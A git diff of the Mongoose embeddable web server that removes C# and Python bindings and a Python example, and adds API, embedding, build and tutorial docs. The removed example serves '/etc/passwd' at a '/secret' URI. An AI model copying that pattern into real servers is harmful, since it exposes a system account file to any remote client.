// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// $Id: mongoose.cs 472 2009-08-30 22:40:29Z spsone1 $
using System;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
public IntPtr name; // Using IntPtr here because if we use strings here,
public IntPtr value; // it won't be properly marshalled.
};
// This is "struct mg_request_info" from mongoose.h header file
[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
public string request_method;
public string uri;
public string http_version;
public string query_string;
public IntPtr post_data;
public string remote_user;
public int remote_ip; //int to match the 32bit declaration in c
public int remote_port;
public int post_data_len;
public int status_code;
public int num_headers;
[MarshalAs(UnmanagedType.ByValArray,SizeConst=64)] public MongooseHeader[] http_headers;
};
// This is a delegate for mg_callback_t from mongoose.h header file
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate void MongooseCallback2(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data);
// This is a delegate to be used by the application
public delegate void MongooseCallback(MongooseConnection conn, MongooseRequestInfo ri);
public class Mongoose {
public string version;
private IntPtr ctx;
//These two events are here to store a ref to the callbacks while they are over in unmanaged code.
private event MongooseCallback2 delegates2;
private event MongooseCallback delegates1;
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern IntPtr mg_start();
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_stop(IntPtr ctx);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_version();
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern int mg_set_option(IntPtr ctx, string name, string value);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_option(IntPtr ctx, string name);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_uri_callback(IntPtr ctx, string uri_regex, MulticastDelegate func, IntPtr data);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_log_callback(IntPtr ctx, MulticastDelegate func);
public Mongoose() {
ctx = mg_start();
version = mg_version();
}
~Mongoose() {
mg_stop(this.ctx);
this.ctx = IntPtr.Zero;
}
public int set_option(string option_name, string option_value) {
return mg_set_option(this.ctx, option_name, option_value);
}
public string get_option(string option_name) {
return mg_get_option(this.ctx, option_name);
}
public void set_uri_callback(string uri_regex, MongooseCallback func) {
// Build a closure around user function. Initialize connection object there which wraps
// mg_write() and other useful methods, and then call user specified handler.
MongooseCallback2 callback = delegate(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data) {
MongooseConnection connection = new MongooseConnection(conn, this);
func(connection, ri);
};
// store a reference to the callback so it won't be GC'ed while its over in unmanged code
delegates2 += callback;
mg_set_uri_callback(this.ctx, uri_regex, callback, IntPtr.Zero);
}
public void set_log_callback(MongooseCallback func) {
delegates1 += func;
mg_set_log_callback(this.ctx, func);
}
}
public class MongooseConnection {
public Mongoose mongoose;
private IntPtr conn;
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_header(IntPtr ctx, string name);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_var(IntPtr ctx, string name);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_free(IntPtr ptr);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] public static extern int mg_write(IntPtr conn, string data, int length);
public MongooseConnection(IntPtr conn_, Mongoose mongoose_) {
mongoose = mongoose_;
conn = conn_;
}
public string get_header(string header_name) {
return mg_get_header(this.conn, header_name);
}
public string get_var(string header_name) {
string s = mg_get_var(this.conn, header_name);
string copy = "" + s;
mg_free(Marshal.StringToHGlobalAnsi(s));
return copy;
}
public int write(string data) {
return mg_write(this.conn, data, data.Length);
}
}
-63
View File
@@ -1,63 +0,0 @@
# This is Python example on how to use Mongoose embeddable web server,
# http://code.google.com/p/mongoose
#
# Before using the mongoose module, make sure that Mongoose shared library is
# built and present in the current (or system library) directory
import mongoose
import sys
# Handle /show and /form URIs.
def EventHandler(event, conn):
info = conn.info
if event == mongoose.HTTP_ERROR:
conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
conn.printf('HTTP error: %d\n', conn.reply_status_code)
return True
elif event == mongoose.NEW_REQUEST and info.uri == '/show':
conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
conn.printf('%s %s\n', info.request_method, info.uri)
if info.request_method == 'POST':
content_len = conn.get_header('Content-Length')
post_data = conn.read(int(content_len))
my_var = conn.get_var(post_data, 'my_var')
else:
my_var = conn.get_var(info.query_string, 'my_var')
conn.printf('my_var: %s\n', my_var or '<not set>')
conn.printf('HEADERS: \n')
for header in info.http_headers[:info.num_headers]:
conn.printf(' %s: %s\n', header.name, header.value)
return True
elif event == mongoose.NEW_REQUEST and info.uri == '/form':
conn.write('HTTP/1.0 200 OK\r\n'
'Content-Type: text/html\r\n\r\n'
'Use GET: <a href="/show?my_var=hello">link</a>'
'<form action="/show" method="POST">'
'Use POST: type text and submit: '
'<input type="text" name="my_var"/>'
'<input type="submit"/>'
'</form>')
return True
elif event == mongoose.NEW_REQUEST and info.uri == '/secret':
conn.send_file('/etc/passwd')
return True
else:
return False
# Create mongoose object, and register '/foo' URI handler
# List of options may be specified in the contructor
server = mongoose.Mongoose(EventHandler,
document_root='/tmp',
listening_ports='8080')
print ('Mongoose started on port %s, press enter to quit'
% server.get_option('listening_ports'))
sys.stdin.read(1)
# Deleting server object stops all serving threads
print 'Stopping server.'
del server
-170
View File
@@ -1,170 +0,0 @@
# Copyright (c) 2004-2009 Sergey Lyubka
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
# $Id: mongoose.py 471 2009-08-30 14:30:21Z valenok $
"""
This module provides python binding for the Mongoose web server.
There are two classes defined:
Connection: - wraps all functions that accept struct mg_connection pointer
as first argument.
Mongoose: wraps all functions that accept struct mg_context pointer as
first argument.
Creating Mongoose object automatically starts server, deleting object
automatically stops it. There is no need to call mg_start() or mg_stop().
"""
import ctypes
import os
NEW_REQUEST = 0
REQUEST_COMPLETE = 1
HTTP_ERROR = 2
EVENT_LOG = 3
INIT_SSL = 4
WEBSOCKET_CONNECT = 5
WEBSOCKET_READY = 6
WEBSOCKET_MESSAGE = 7
WEBSOCKET_CLOSE = 8
class mg_header(ctypes.Structure):
"""A wrapper for struct mg_header."""
_fields_ = [
('name', ctypes.c_char_p),
('value', ctypes.c_char_p),
]
class mg_request_info(ctypes.Structure):
"""A wrapper for struct mg_request_info."""
_fields_ = [
('request_method', ctypes.c_char_p),
('uri', ctypes.c_char_p),
('http_version', ctypes.c_char_p),
('query_string', ctypes.c_char_p),
('remote_user', ctypes.c_char_p),
('remote_ip', ctypes.c_long),
('remote_port', ctypes.c_int),
('is_ssl', ctypes.c_int),
('num_headers', ctypes.c_int),
('http_headers', mg_header * 64),
]
mg_callback_t = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p)
class Connection(object):
"""A wrapper class for all functions that take
struct mg_connection * as the first argument."""
def __init__(self, mongoose, connection):
self.m = mongoose
self.conn = ctypes.c_void_p(connection)
self.info = self.m.dll.mg_get_request_info(self.conn).contents
self.user_data = self.m.dll.mg_get_user_data(self.conn)
self.log_message = self.m.dll.mg_get_log_message(self.conn)
self.reply_status_code = self.m.dll.mg_get_reply_status_code(self.conn)
self.ssl_context = self.m.dll.mg_get_ssl_context(self.conn)
def get_header(self, name):
val = self.m.dll.mg_get_header(self.conn, name)
return ctypes.c_char_p(val).value
def get_var(self, data, name):
size = data and len(data) or 0
buf = ctypes.create_string_buffer(size)
n = self.m.dll.mg_get_var(data, size, name, buf, size)
return n >= 0 and buf or None
def printf(self, fmt, *args):
val = self.m.dll.mg_printf(self.conn, fmt, *args)
return ctypes.c_int(val).value
def write(self, data):
val = self.m.dll.mg_write(self.conn, data, len(data))
return ctypes.c_int(val).value
def read(self, size):
buf = ctypes.create_string_buffer(size)
n = self.m.dll.mg_read(self.conn, buf, size)
return n <= 0 and None or buf[:n]
def send_file(self, path):
self.m.dll.mg_send_file(self.conn, path)
class Mongoose(object):
"""A wrapper class for Mongoose shared library."""
def __init__(self, callback, **kwargs):
if os.name == 'nt':
self.dll = ctypes.WinDLL('mongoose.dll')
else:
self.dll = ctypes.CDLL('libmongoose.so')
self.dll.mg_start.restype = ctypes.c_void_p
self.dll.mg_modify_passwords_file.restype = ctypes.c_int
self.dll.mg_read.restype = ctypes.c_int
self.dll.mg_write.restype = ctypes.c_int
self.dll.mg_printf.restype = ctypes.c_int
self.dll.mg_get_header.restype = ctypes.c_char_p
self.dll.mg_get_var.restype = ctypes.c_int
self.dll.mg_get_cookie.restype = ctypes.c_int
self.dll.mg_get_option.restype = ctypes.c_char_p
self.dll.mg_get_request_info.restype = ctypes.POINTER(mg_request_info)
self.dll.mg_get_user_data.restype = ctypes.c_void_p
self.dll.mg_get_reply_status_code.restype = ctypes.c_int
self.dll.mg_get_log_message.restype = ctypes.c_char_p
self.dll.mg_get_ssl_context.restype = ctypes.c_void_p
if callback:
# Create a closure that will be called by the shared library.
def func(event, connection):
# Wrap connection pointer into the connection
# object and call Python callback
conn = Connection(self, connection)
return callback(event, conn) and 1 or 0
# Convert the closure into C callable object
self.callback = mg_callback_t(func)
self.callback.restype = ctypes.c_char_p
else:
self.callback = ctypes.c_void_p(0)
args = [y for x in kwargs.items() for y in x] + [None]
options = (ctypes.c_char_p * len(args))(*args)
ret = self.dll.mg_start(self.callback, 0, options)
self.ctx = ctypes.c_void_p(ret)
def __del__(self):
"""Destructor, stop Mongoose instance."""
self.dll.mg_stop(self.ctx)
def get_option(self, name):
return self.dll.mg_get_option(self.ctx, name)
+241
View File
@@ -0,0 +1,241 @@
# Mongoose API Reference
struct mg_server *mg_create_server(void *server_param);
Creates web server instance. Returns opaque instance pointer, or NULL if
there is not enough memory. `server_param`: Could be any pointer, or NULL.
This pointer will be passed
to the callback functions as `struct mg_connection::server_param` field.
A common use case is to pass `this` pointer of the C++ wrapper class
as `user_param`, to let the callback get the pointer to the C++ object.
Note that this function doesn't make the
server instance to serve. Serving is done by `mg_poll_server()` function.
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
When server instance is created, it contains an information about
the configuration and the state of each connection.
Server instance is capable on listening on only one port. After creation,
`struct mg_server` has a list
of active connections and configuration parameters.
Side-effect: on UNIX, `mg_create_server()` ignores SIGPIPE signals. If custom
processing is required SIGPIPE, signal handler must be set up after
calling `mg_create_server()`.
Important: Mongoose does not install `SIGCHLD` handler. If CGI is used,
`SIGCHLD` handler must be set up to reap CGI zombie processes.
void mg_destroy_server(struct mg_server **server);
Deallocates web server instance, closes all pending connections, and makes
server pointer a NULL pointer.
const char mg_set_option(struct mg_server *server, const char *name,
const char *value);
Sets a particular server option. Note that at least one option,
`listening_port`, must be specified. To serve static files, `document_root`
must be specified too. If `document_root` option is left unset, Mongoose
will not access filesystem at all. `mg_set_option()` returns NULL if option was
set successfully, otherwise it returns human-readable error string. It is
allowed to call `mg_set_option()` by the same thread that does
`mg_poll_server()` (Mongoose thread) and change server configuration while it
is serving, in between `mg_poll_server()` calls.
void mg_poll_server(struct mg_server *server, int milliseconds);
Performs one iteration of IO loop by iterating over all
active connections, performing `select()` syscall on all sockets with a timeout
of `milliseconds`. When `select()` returns, Mongoose
does an IO for each socket that has data to be sent or received. Application
code must call `mg_poll_server()` in a loop. It is an error to have more then
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
that take `struct mg_server *` parameter. Mongoose does not
mutex-protect `struct mg_server *`, therefore only single thread
(Mongoose thread) should make Mongoose calls.
`mg_poll_server()` calls user-specified event handler when certain events
occur. Sequence of events for the accepted connection is this:
* `MG_AUTH` - Mongoose asks whether this connection is authorized. If event
handler returns `MG_FALSE`, then Mongoose does not serve the request but
sends authorization request to the client. If `MG_TRUE` is returned,
then Mongoose continues on with the request.
* `MG_REQUEST` - Mongoose asks event handler to serve the request. If
event handler serves the request by sending a reply,
it should return `MG_TRUE`. Otherwise,
it should return `MG_FALSE` which tells Mongoose that request is not
served and Mongoose should serve it. For example, event handler might
choose to serve only RESTful API requests with URIs that start with
certain prefix, and let Mongoose serve all static files.
If event handler decides to serve the request, but doesn't have
all the data at the moment, it should return `MG_MORE`. That tells
Mongoose to send `MG_POLL` events on each iteration of `mg_poll_server()`
`mg_connection::connection_param` pointer is a placeholder to keep
user-specific data. For example, handler could decide to open a DB
connection and store DB connection handle in `connection_param`.
* `MG_POLL` is sent only to those connections which returned `MG_MORE`.
Event handler should try to complete the reply. If reply is completed,
then event handler should return `MG_TRUE`. Otherwise, it should
return `MG_FALSE`, and polling will continue until
handler returns `MG_TRUE`.
* `MG_HTTP_ERROR` sent when Mongoose is about to send HTTP error back
to the client. Event handler can choose to send a reply itself, in which
case event handler must return `MG_TRUE`. Otherwise, event handler must
return `MG_FALSE`
* `MG_CLOSE` is sent when the connection is closed. This event is used
to cleanup per-connection state stored in `connection_param`
if it was allocated.
Sequence of events for the client connection is this:
* `MG_CONNECT` sent when Mongoose has connected to the remote host.
This event is sent to the connection initiated by `mg_connect()` call.
Connection status is held in `mg_connection::status_code`: if zero,
then connection was successful, otherwise connection was not established.
User should send a request upon successful connection.
* `MG_REPLY` is sent when response has been received from the remote host.
* `MG_CLOSE` same as for the accepted connection.
When mongoose buffers in HTTP request and successfully parses it, it sends
`MG_REQUEST` event for GET requests immediately. For POST requests,
Mongoose delays the call until the whole POST request is buffered in memory.
POST data is available to the callback as `struct mg_connection::content`,
and POST data length is in `struct mg_connection::content_len`.
Note that websocket connections are treated the same way. Mongoose buffers
websocket frame in memory, and calls event handler when frame is fully
buffered. Frame data is available `struct mg_connection::content`, and
data length is in `struct mg_connection::content_len`, i.e. very similar to
the POST request. `struct mg_connection::is_websocket` flag indicates
whether the request is websocket or not. Also, for websocket requests,
there is `struct mg_connection::wsbits` field which contains first byte
of the websocket frame which URI handler can examine. Note that to
reply to the websocket client, `mg_websocket_write()` should be used.
To reply to the plain HTTP client, `mg_write_data()` should be used.
const char **mg_get_valid_option_names(void);
Returns a NULL-terminated array of option names and their default values.
There are two entries per option in an array: an option name followed by a
default value. A default value could be NULL. A NULL name indicates an end
of the array.
const char *mg_get_option(const struct mg_server *server, const char *name);
Returns the value of particular configuration parameter. If
given parameter name is not valid, NULL is returned. For valid names, return
value is guaranteed to be non-NULL. If parameter is not set, zero-length string
is returned.
void mg_iterate_over_connections(struct mg_server *, mg_handler_t func);
This is an interface primarily designed to push arbitrary data to websocket
connections at any time. This function could be called from the Mongoose thread
only. When it returns, Mongoose thread calls `func()` for each active
connection.
It is allowed to call `mg_send_data()` or `mg_websocket_write()` within a
callback, cause `func` is executed in the context of the Mongoose thread.
void mg_wakeup_server(struct mg_server *);
Makes `mg_poll_server()` that could be sleeping in the `select()` syscall
to break the call and return. This function can be called from any thread.
It is designed to let other threads wake up Mongoose thread from the sleep
and let it do a fresh new IO iteration over all connection. Usually it is done
when other threads decides there is new data ready to be sent by Mongoose.
void mg_send_status(struct mg_connection *, int status_code);
void mg_send_header(struct mg_connection *, const char *name,
const char *value);
void mg_send_data(struct mg_connection *, const void *data, int data_len);
void mg_printf_data(struct mg_connection *, const char *format, ...);
These functions are used to construct a response to the client. HTTP response
consists of three parts: a status line, zero or more HTTP headers,
a response body. Mongoose provides functions for all three parts:
* `mg_send_status()` is used to create status line. This function can be
called zero or once. If `mg_send_status()` is not called, then Mongoose
will send status 200 (success) implicitly.
* `mg_send_header()` adds HTTP header to the response. This function could
be called zero or more times.
* `mg_send_data()` and `mg_printf_data()` are used to send data to the
client. Note that Mongoose adds `Transfer-Encoding: chunked` header
implicitly, and sends data in chunks. Therefore, it is not necessary to
set `Content-Length` header. Note that `mg_send_data()` and
`mg_printf_data()` do not send data immediately. Instead, they spool
data in memory, and Mongoose sends that data later after URI handler
returns. If data to be sent is huge, an URI handler might
send data in pieces by saving state in
`struct mg_connection::connection_param` variable and returning `0`. Then
Mongoose will call a handler repeatedly after each socket write.
<!-- -->
int mg_websocket_write(struct mg_connection* conn, int opcode,
const char *data, size_t data_len);
Similar to `mg_write()`, but wraps the data into a websocket frame with a
given websocket `opcode`.
const char *mg_get_header(const struct mg_connection *, const char *name);
Get the value of particular HTTP header. This is a helper function.
It traverses http_headers array, and if the header is present in the array,
returns its value. If it is not present, NULL is returned.
int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len);
Gets HTTP form variable. Both POST buffer and query string are inspected.
Form variable is url-decoded and written to the buffer. On success, this
function returns the length of decoded variable. On error, -1 is returned if
variable not found, and -2 is returned if destination buffer is too small
to hold the variable. Destination buffer is guaranteed to be
'\0' - terminated if it is not NULL or zero length.
int mg_parse_header(const char *hdr, const char *var_name, char *buf,
size_t buf_size);
This function parses HTTP header and fetches given variable's value in a buffer.
A header should be like `x=123, y=345, z="other value"`. This function is
designed to parse Cookie headers, Authorization headers, and similar. Returns
the length of the fetched value, or 0 if variable not found.
int mg_modify_passwords_file(const char *passwords_file_name,
const char *domain,
const char *user,
const char *password);
Add, edit or delete the entry in the passwords file.
This function allows an application to manipulate .htpasswd files on the
fly by adding, deleting and changing user records. This is one of the
several ways of implementing authentication on the server side. For another,
cookie-based way please refer to the examples/chat.c in the source tree.
If password is not NULL, entry is added (or modified if already exists).
If password is NULL, entry is deleted.
Return: 1 on success, 0 on error.
int mg_parse_multipart(const char *buf, int buf_len,
char *var_name, int var_name_len,
char *file_name, int file_name_len,
const char **data, int *data_len);
Parses a buffer that contains multipart form data. Stores chunk name
in a `var_name` buffer. If chunk is an uploaded file, then `file_name`
will have a file name. `data` and `data_len` will point to the chunk data.
Returns number of bytes to skip to the next chunk.
struct mg_connection *mg_connect(struct mg_server *server,
const char *host, int port, int use_ssl);
Create connection to the remote host. Returns `NULL` on error, non-null
if the connection has been scheduled for connection. Upon a connection,
Mongoose will send `MG_CONNECT` event to the event handler.
+27
View File
@@ -0,0 +1,27 @@
# Mongoose Build on Android
This is a small guide to help you run mongoose on Android. Currently it is
tested on the HTC Wildfire. If you have managed to run it on other devices
as well, please comment or drop an email in the mailing list.
Note : You dont need root access to run mongoose on Android.
- Clone Mongoose Git repo
- Download the Android NDK from [http://developer.android.com/tools/sdk/ndk/index.html](http://developer.android.com/tools/sdk/ndk/index.html)
- Run `/path-to-ndk/ndk-build -C /path-to-mongoose/examples`
That should generate mongoose/lib/armeabi/mongoose
- Using the adb tool (you need to have Android SDK installed for that),
push the generated mongoose binary to `/data/local` folder on device.
- From adb shell, navigate to `/data/local` and execute `./mongoose`.
- To test if the server is running fine, visit your web-browser and
navigate to `http://127.0.0.1:8080` You should see the `Index of /` page.
![screenshot](http://cesanta.com/images/android_build.png)
Notes:
- `jni` stands for Java Native Interface. Read up on Android NDK if you want
to know how to interact with the native C functions of mongoose in Android
Java applications.
- TODO: A Java application that interacts with the native binary or a
shared library.
+34
View File
@@ -0,0 +1,34 @@
How To Create A PHP Website With Mongoose
===========================================
## 1. Create a directory which will contain your website files. For example, on drive `C:\`, create a directory called `my_website`:
![screenshot](http://cesanta.com/images/tut_basic/tut1.png)
## 2. Inside `my_website` directory, create a new file called "index". This will be the default web page shown when the website is visited.
![screenshot](http://cesanta.com/images/tut_basic/tut2.png)
## 3. Open index file with your favorite editor (for example, Notepad) and enter some HTML code:
![screenshot](http://cesanta.com/images/tut_basic/tut3.png)
## 4. Save this file as `index.html`:
![screenshot](http://cesanta.com/images/tut_basic/tut4.png)
## 5. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside `my_website` directory:
![screenshot](http://cesanta.com/images/tut_basic/tut5.png)
## 6. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
![screenshot](http://cesanta.com/images/tut_basic/tut6.png)
## 7. Click on the mongoose icon and choose "Start browser" menu:
![screenshot](http://cesanta.com/images/tut_basic/tut7.png)
## 8. A browser will popup displaying `index.html` file. Now, you can expand your website by adding more content.
![screenshot](http://cesanta.com/images/tut_basic/tut8.png)
+173
View File
@@ -0,0 +1,173 @@
# Mongoose Embedding Guide
Embedding Mongoose is done in two steps:
1. Copy
[mongoose.c](https://raw.github.com/cesanta/mongoose/master/mongoose.c) and
[mongoose.h](https://raw.github.com/cesanta/mongoose/master/mongoose.h)
to your application's source tree and include them in the build.
2. Somewhere in the application code, call `mg_create_server()` to create
a server, configure it with `mg_set_option()` and loop with
`mg_poll_server()` until done. Call `mg_destroy_server()` to cleanup.
Here's a minimal application `app.c` that embeds mongoose:
#include "mongoose.h"
int main(void) {
struct mg_server *server = mg_create_server(NULL, NULL);
mg_set_option(server, "document_root", "."); // Serve current directory
mg_set_option(server, "listening_port", "8080"); // Open port 8080
for (;;) {
mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
}
mg_destroy_server(&server);
return 0;
}
To compile it, put `mongoose.c`, `mongoose.h` and `app.c` into one
folder, start terminal on UNIX or Visual Studio command line prompt on Windows,
and run the following command:
cc app.c mongoose.c -pthread -o app # on Unix
cl.exe app.c mongoose.c /TC /MD # on Windows
When run, this simple application opens port 8080 and serves static files,
CGI files and lists directory content in the current working directory.
It is possible to generate HTML page content. Mongoose can call user-defined
function when certain events occur.
That function is called _an event handler_, and it is the second parameter
to `mg_create_server()` function. Here is the example event handler function:
int event_handler(struct mg_connection *conn, enum mg_event ev) {
switch (ev) {
case MG_AUTH: return MG_TRUE;
default: return MG_FALSE;
}
}
Event handler is called by Mongoose with `struct mg_connection *`
pointer and an event number. `struct mg_connection *conn`
has all information about the request: HTTP headers, POST or websocket
data buffer, etcetera. `enum mg_event ev` tells which exactly event is sent.
For each event, an event handler returns a value which tells Mongoose how
to behave.
The sequence of events for every connection is this:
* `MG_AUTH` - Mongoose asks whether this connection is authorized. If event
handler returns `MG_FALSE`, then Mongoose does not serve the request but
sends authorization request to the client. If `MG_TRUE` is returned,
then Mongoose continues on with the request.
* `MG_REQUEST` - Mongoose asks event handler to serve the request. If
event handler serves the request by sending a reply,
it should return `MG_TRUE`. Otherwise,
it should return `MG_FALSE` which tells Mongoose that request is not
served and Mongoose should serve it. For example, event handler might
choose to serve only RESTful API requests with URIs that start with
certain prefix, and let Mongoose serve all static files.
If event handler decides to serve the request, but doesn't have
all the data at the moment, it should return `MG_MORE`. That tells
Mongoose to send `MG_POLL` events on each iteration of `mg_poll_server()`
`mg_connection::connection_param` pointer is a placeholder to keep
user-specific data. For example, handler could decide to open a DB
connection and store DB connection handle in `connection_param`.
* `MG_POLL` is sent only to those connections which returned `MG_MORE`.
Event handler should try to complete the reply. If reply is completed,
then event handler should return `MG_TRUE`. Otherwise, it should
return `MG_FALSE`, and polling will continue until
handler returns `MG_TRUE`.
* `MG_CLOSE` is sent when the connection is closed. This event is used
to cleanup per-connection state stored in `connection_param`
if it was allocated.
Let's extend our minimal application example and
create an URI that will be served by user's C code. The app will handle
`/hello` URI by showing a hello message. So, when app is run,
http://127.0.0.1:8080/hello will say hello, and here's the code:
#include <string.h>
#include "mongoose.h"
static int event_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_AUTH) {
return MG_TRUE; // Authorize all requests
} else if (ev == MG_REQUEST && !strcmp(conn->uri, "/hello")) {
mg_printf_data(conn, "%s", "Hello world");
return MG_TRUE; // Mark as processed
} else {
return MG_FALSE; // Rest of the events are not processed
}
}
int main(void) {
struct mg_server *server = mg_create_server(NULL, event_handler);
mg_set_option(server, "document_root", ".");
mg_set_option(server, "listening_port", "8080");
for (;;) {
mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
}
mg_destroy_server(&server);
return 0;
}
## Example code
Mongoose source code contains a well-commented example code, listed below:
* [hello.c](https://github.com/cesanta/mongoose/blob/master/examples/hello.c)
a minimalistic hello world example
* [post.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
shows how to handle form input
* [upload.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
shows how to upload files
* [websocket.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates websocket usage
* [auth.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates API-controlled Digest authorization
* [mjpg.c](https://github.com/cesanta/mongoose/blob/master/examples/mjpg.c) demonstrates MJPEG streaming implementation
## Compilation flags
Below is the list of compilation flags that enable or disable certain
features. By default, some features are enabled, and could be disabled
by setting appropriate `NO_*` flag. Features that are disabled by default
could be enabled by setting appropriate `USE_*` flag. Bare bones Mongoose
is quite small, about 30 kilobytes of compiled x86 code. Each feature adds
a couple of kilobytes to the executable size, and also has some runtime penalty.
Note that some flags start with `NS_` prefix. This is because Mongoose uses
[Net Skeleton](http://github.com/cesanta/net_skeleton) as a low-level
networking engine. If user code has `#include <net_skeleton.h>`, then
all Net Skeleton functions will be available too.
-DMONGOOSE_NO_AUTH Disable MD5 authorization support
-DMONGOOSE_NO_CGI Disable CGI support
-DMONGOOSE_NO_DAV Disable WebDAV support
(PUT, DELETE, MKCOL, PROPFIND methods)
-DMONGOOSE_NO_DIRECTORY_LISTING Disable directory listing
-DMONGOOSE_NO_FILESYSTEM Disables all file IO, serving from memory only
-DMONGOOSE_NO_LOGGING Disable access/error logging
-DMONGOOSE_NO_THREADS
-DMONGOOSE_NO_WEBSOCKET Disable WebSocket support
-DMONGOOSE_USE_IDLE_TIMEOUT_SECONDS=X Idle connection timeout, default is 30
-DMONGOOSE_USE_LUA Enable Lua scripting
-DMONGOOSE_USE_LUA_SQLITE3 Enable sqlite3 binding for Lua
-DMONGOOSE_USE_POST_SIZE_LIMIT=X POST requests larger than X will be
rejected, not set by default
-DMONGOOSE_USE_EXTRA_HTTP_HEADERS=X Append X to the HTTP headers
for static files, empty by default
-DNS_ENABLE_DEBUG Enables debug messages on stdout, very noisy
-DNS_ENABLE_SSL Enable SSL
-DNS_ENABLE_IPV6 Enable IPv6 support
-DNS_ENABLE_HEXDUMP Enables hexdump of sent and received traffic
-DNS_STACK_SIZE=X Sets stack size to X for ns_start_thread()
-DNS_DISABLE_THREADS Disable threads support
-DNS_DISABLE_SOCKETPAIR For systems without loopback interface
+23
View File
@@ -0,0 +1,23 @@
# Mongoose FAQ
### PHP doesn't work: getting empty page, or 'File not found' error
The reason for that is wrong paths to the interpreter. Remember that with PHP,
correct interpreter is `php-cgi.exe` (`php-cgi` on UNIX). Solution: specify
full path to the PHP interpreter, e.g.:
mongoose -cgi_interpreter /full/path/to/php-cgi
### Mongoose fails to start
If Mongoose exits immediately when run, this
usually indicates a syntax error in the configuration file
(named `mongoose.conf` by default) or the command-line arguments.
Syntax checking is omitted from Mongoose to keep its size low. However,
the Manual should be of help. Note: the syntax changes from time to time,
so updating the config file might be necessary after executable update.
### Embedding with OpenSSL on Windows might fail because of calling convention
To force Mongoose to use `__stdcall` convention, add `/Gz` compilation
flag to the Visual Studio project settings.
+19
View File
@@ -0,0 +1,19 @@
How To Share Files With Mongoose
===========================================
## 1. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside the directory you want to share:
![screenshot](http://cesanta.com/images/tut_sharing/tut1.png)
## 2. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
![screenshot](http://cesanta.com/images/tut_sharing/tut2.png)
## 3. Click on the mongoose icon and choose "Start browser" menu:
![screenshot](http://cesanta.com/images/tut_sharing/tut3.png)
## 4. A browser will popup displaying files. That's all! To access those files from another computer, start a browser and type `http://<your_machine_ip_address>:8080/` in the address bar.
![screenshot](http://cesanta.com/images/tut_sharing/tut4.png)
## Tip: to find out what is your machine IP address, take a look at http://windows.microsoft.com/en-us/windows/find-computers-ip-address
+44
View File
@@ -0,0 +1,44 @@
# Mongoose Internals
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
`mg_create_server()` creates a web server instance. An instance is a container
for the config options and list of active connections. To do the actual
serving, user must call `mg_poll_server()`, which iterates over all
active connections, performing `select()` syscall on all sockets with a
timeout of specified number of milliseconds. When `select()` returns, Mongoose
does an IO for each socket that has data to be sent or received. Application
code must call `mg_poll_server()` in a loop.
